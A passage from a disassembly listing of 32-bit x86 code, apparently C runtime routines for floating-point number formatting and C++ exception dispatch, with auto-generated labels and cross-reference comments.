		jmp	short loc_421B9F
; ---------------------------------------------------------------------------

loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1

loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi

loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h

loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB33C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB344, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB33C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB344, ecx
		setl	cl
		mov	byte_4DB348, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB344, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32

loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al

loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------

loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h

loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB340, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB340, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB340, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB340, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------

loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9

loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi

loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2

loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------

loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------

loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h

loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax

loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6

loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2

loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB34C
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DB350
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2

loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2

loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax

loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A

loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7

loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8

loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------

loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]

loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------

loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx

loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------

loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DB354, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC

loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax

loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4

loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------

loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053

loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053

loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053

loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057

loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------

loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax

loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]

loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3

loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2

loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510

loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]

loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------

loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h

loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------

loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]

loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E

loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB34C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DB350
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB34C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DB350, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]

loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E8o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------

loc_42224A:				; DATA XREF: ___:004278E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB34C, eax
		mov	eax, [ebp-20h]
		mov	dword_4DB350, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------

loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------

loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------

